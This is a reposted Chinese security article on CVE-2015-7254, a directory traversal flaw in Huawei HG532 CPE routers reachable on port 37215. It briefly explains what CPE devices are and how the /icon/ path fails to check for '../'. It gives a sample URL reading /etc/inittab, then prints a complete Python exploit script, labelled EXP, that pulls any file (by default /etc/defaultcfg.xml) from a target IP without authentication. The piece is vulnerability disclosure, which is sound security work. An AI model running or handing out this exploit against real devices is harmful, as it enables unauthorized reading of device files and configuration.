转载

华为CPE设备存在远程任意文件读取漏洞(附EXP)

华为CPE设备存在远程任意文件读取漏洞(附EXP)

CPE是什么

CPE是一种将高速4G信号转换成平板电脑、智能手机、笔记本等移动终端通用的WiFi信号的设备,可同时支持多部终端上网,大小相当于一本书,在有4G信号覆盖的地方,插上电源就能使用,不必拉网线,使用和携带都很方便。

CPE的AP功能、路由器性能更强,可同时接平板电脑、智能手机、笔记本等移动终端几十个同时使用。具有较完整的用户认证功能及计费功能。

作者:Roberto Paleari ( @rpaleari) and Aristide Fattori ( @joystick )

日期:2015/11/06

CVE编号:CVE-2015-7254

向互联网开放网络端口(TCP / 37215,测试设备)的华为CPE模块存在目录遍历漏洞,37215端口是华为CPE设备的UPnP服务端口。

通过利用这一漏洞,远程攻击者可以不经验证访问设备的任何本地文件,黑客可以通过这一漏洞控制存在漏洞的设备。

详细来说,Web服务器被设计为无需身份验证就可以远程访问/icon/文件夹,然而这里提供的路径并不会检查目录遍历的尝试,导致攻击者可以用 ../ 访问任何本地文件。

举个栗子:设备的/etc/inittab本地文件可以通过以下网址访问到:

http://<target IP>:37215/icon/../../../etc/inittab

<target IP>是存在漏洞设备的IP地址

我们确认华为以下型号的设备将受到影响:

HG532e HG532n HG532s 其它型号的设备也很可能存在这一漏洞,但没有对它们进行测试

EXP

""" Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick) """   import logging import sys import urllib2   DEFAULT_HEADERS = {"User-Agent": "Mozilla", } DEFAULT_TIMEOUT = 5   def fetch_url(url): global DEFAULT_HEADERS, DEFAULT_TIMEOUT request = urllib2.Request(url, headers=DEFAULT_HEADERS)   try: data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read() except Exception, e: logging.error("Exception: %s", e) data = None  return data   def exploit(ip, path): url = "http://%s:37215/icon/../../../%s" % (ip, path) data = fetch_url(url) return data   def main(): targetip = sys.argv[1]  if len(sys.argv) > 2: path = sys.argv[2].strip() else: path = "/etc/defaultcfg.xml"  assert path.startswith("/"), "An absolute path is required" data = exploit(targetip, path) if data is None: logging.error("Exploit failed") exit(-1)  # Successful print data   if __name__ == "__main__": main()

GitHub 编译/0xroot,内容有所删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...